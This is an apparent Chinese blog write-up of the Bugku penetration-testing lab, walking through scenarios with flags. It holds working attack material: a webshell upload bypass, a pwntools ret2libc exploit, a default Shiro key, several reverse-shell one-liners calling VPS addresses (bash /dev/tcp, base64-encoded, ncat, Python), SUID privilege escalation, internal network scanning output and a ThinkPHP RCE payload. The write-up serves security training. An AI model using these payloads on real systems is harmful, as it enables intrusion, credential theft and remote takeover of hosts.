bugku渗透(一)

bugku渗透(一)

bugku出了新的模式,渗透测试,来水水文章,一共有十一个场景,也就是相当于十一个题目吧


场景一

刚开始只给了一个地址http://139.224.3.107:80

访问一下,源码得到flag

PS:下个flag网站管理员才能看到哦

flag{f42f76f14f9cce709a39b3bdad69a627}

场景二

这个应该就是网站后台吧,dirsearch扫一下

得到admin

浅浅试了一下,admin/admin登录

ps:/home

flag{f624caaebfc9654f14f33114908a952c}

场景三

这个是home路径下的,访问一下看看

不存在,所以应该是进入home文件夹下,也就是需要getshell,在后台寻找一下利用点

存在上传配置,加个php

应该是streplace函数了,php替换为空,尝试大小写绕过成功

但是这个上传之后发现连不上,不知道咋回事,尝试双写绕过成功连接

上蚁剑

PS:root and database

flag{f3b1bce4b65eea538acd840cb304c051}

场景四

这道应该就是和数据库有关系了,同时涉及到权限

find一下database,寻找config.php的相关配置

得到root为root/root

nmap扫一下开放端口

发现3306mysql端口并没有打开,搜了一下可以直接在蚁剑里用mysqldump dump下来

代码语言:javascript
复制
mysqldump -uroot -proot flag > flag.sql

ps:可以试试nc 还有 root

flag{6f1fe51fc70b3adc54fd54ae79a1cf0d}

另一个方法就是蚁剑直接连接数据库

这里应该是需要一种插件,给蚁剑安装插件的时候需要开代理

场景五

找了一圈,最后发现这个场景考察的是一个pwn吧

有个main文件

32位文件,ida打开反编译看看

跟进vul函数

这地方存在溢出

主函数如下

代码语言:javascript
复制
int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // eax
  char s[4]; // [esp+Ah] [ebp-1Eh]

strcpy(s, "plz input your name:\n");
v3 = strlen(s);
write(1, s, v3);
vul();
return 0;
}

没有给/bin/sh,emm,vul函数,在文件中没有找到相关后门函数,是高级ROP类型

代码语言:javascript
复制
ssize_t vul()
{
char buf; // [esp+4h] [ebp-24h]

return read(0, &buf, 0x80u);
}

exp如下

代码语言:javascript
复制
from pwn import *

context.log_level = "debug"

p = remote('139.224.3.107',9999)
elf = ELF('./main')

write_plt = elf.plt['write']
write_got = elf.got['write']

main_addr = 0x0804848A
offset_write =0x0d5c90
offset_system = 0x03adb0
offset_str_bin_sh =0x15bb2b

payload = 'A' * 40 + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)

p.sendlineafter('plz input your name:\n',payload)
write_addr = u32(p.recv(4))
libc_base = write_addr - offset_write
sys_addr = libc_base + offset_system
sh_addr = libc_base + offset_str_bin_sh

payload = 'A' * 40 + p32(sys_addr) + p32(4) + p32(sh_addr)
p.sendline(payload)
p.interactive()

PS:port 8080

flag{4b139fce0c0c3e53a69fc34fabd2d6db}

场景六

看8080端口

dirsearch扫一下得到robots.txt

PS:next to my home

flag{00200c35443afb415c4427f94094fdd0}

场景七

抓个包看看

nice,shiro洞

先用下面这个寻找一下是否存在默认的key

insightglacier/Shiro_exploit: Apache Shiro 反序列化漏洞检测与利用工具 (github.com)

找到true key

代码语言:javascript
复制
vulnerable:True url:http://139.224.3.107   CipherKey:kPH+bIxk5D2deZiIxcaaaA==

制作vps反弹shell

代码语言:javascript
复制
bash -i >& /dev/tcp/43.138.40.212/7777 0>&1

Java Runtime 配合 bash 编码

命令执行在线编码 | 国光 (sqlsec.com)

代码语言:javascript
复制
echo YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMzguNDAuMjEyLzc3NzcgMD4mMQ==|base64 -d|bash -i
bash -c {echo YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMzguNDAuMjEyLzc3NzcgMD4mMQ==}|{base64 -d}|{bash -i}

剩下的利用方式参考文章Shiro反序列化漏洞利用汇总 - 腾讯云开发者社区-腾讯云 (tencent.com)

有亿点点麻烦,时间来不及了,直接在github找自动化

fupinglee/JavaTools: 一些Java编写的小工具。 (github.com)

flag{ebc4589713b98ca222f788902adb408f}

场景八

suid提权

代码语言:javascript
复制
find / -perm -4000 -type f 2>/dev/null #查看具有suid 权限的可执行二进制程序

没完成

下次有金币再玩吧

GO-ON

2023-02-04
又来了又来了

场景八的提权,sudo不行,因为sudo -l不存在此命令

继续尝试一下是不是suid提权

代码语言:javascript
复制
find / -type f -perm -u=s 2>/dev/null

先反弹到vps上shell,蚁剑终端不舒服

代码语言:javascript
复制
ncat vps 8806 -e sh

弹错shell了,应该是shiro反序列化的那个靶机

写入内存马

连不上,我不李姐

这里用python来反弹shell

代码语言:javascript
复制
export RHOST="43.143.195.203";export RPORT=8806;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

监听端口,然后执行python -c "import pty;pty.spawn(‘/bin/bash’)"成功反弹shell

find的suid提权

代码语言:javascript
复制
find hzy -exec ls \;

成功执行,找到flag

flag{a790c8d551bbe198354f427c9fff6837}

场景九

Internal network

擦,感觉该进内网了,没ipconfig,有git,猜我怎么想的,直接git远程下载fscan

这个时候还是需要知道网段才行,用ip address

代码语言:javascript
复制
ip address
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
9: eth0@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:c0:a8:00:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.168.0.3/24 brd 192.168.0.255 scope global eth0
       valid_lft forever preferred_lft forever

探测192.168.0.0/24

代码语言:javascript
复制
192.168.0.1:8080 open
192.168.0.3:8080 open
192.168.0.4:3306 open
192.168.0.1:80 open
192.168.0.4:80 open
192.168.0.2:80 open
192.168.0.1:22 open
192.168.0.1:9999 open
192.168.0.2:9999 open
[*] WebTitle: http://192.168.0.3:8080   code:302 len:0      title:None 跳转url: http://192.168.0.3:8080/login;jsessionid=B87B16A1953B413F38E39A8A8B43A48D
[*] WebTitle: http://192.168.0.1:8080   code:302 len:0      title:None 跳转url: http://192.168.0.1:8080/login;jsessionid=7595E67F313D9459B44EFB2C20D7CD6E
[*] WebTitle: http://192.168.0.3:8080/login;jsessionid=B87B16A1953B413F38E39A8A8B43A48D code:200 len:2608   title:Login Page
[*] WebTitle: http://192.168.0.1:8080/login;jsessionid=7595E67F313D9459B44EFB2C20D7CD6E code:200 len:2608   title:Login Page
[*] WebTitle: http://192.168.0.1        code:200 len:59431  title:W3School教程系统 | 打造专一的web在线教程系统
[*] WebTitle: http://192.168.0.2        code:200 len:59431  title:W3School教程系统 | 打造专一的web在线教程系统
[*] WebTitle: http://192.168.0.4        code:200 len:8351   title:博客首页
[+] http://192.168.0.3:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]
[+] http://192.168.0.4 poc-yaml-thinkphp5023-method-rce poc1
[+] http://192.168.0.1:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]

显然内网服务很多,需要进行内网代理,使用Neo-reGeorg进行内网socks代理

下载地址https://github.com/L-codes/Neo-reGeorg,使用教程网上很多

即可实现浏览器代理内网

TP框架

代码语言:javascript
复制
_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=id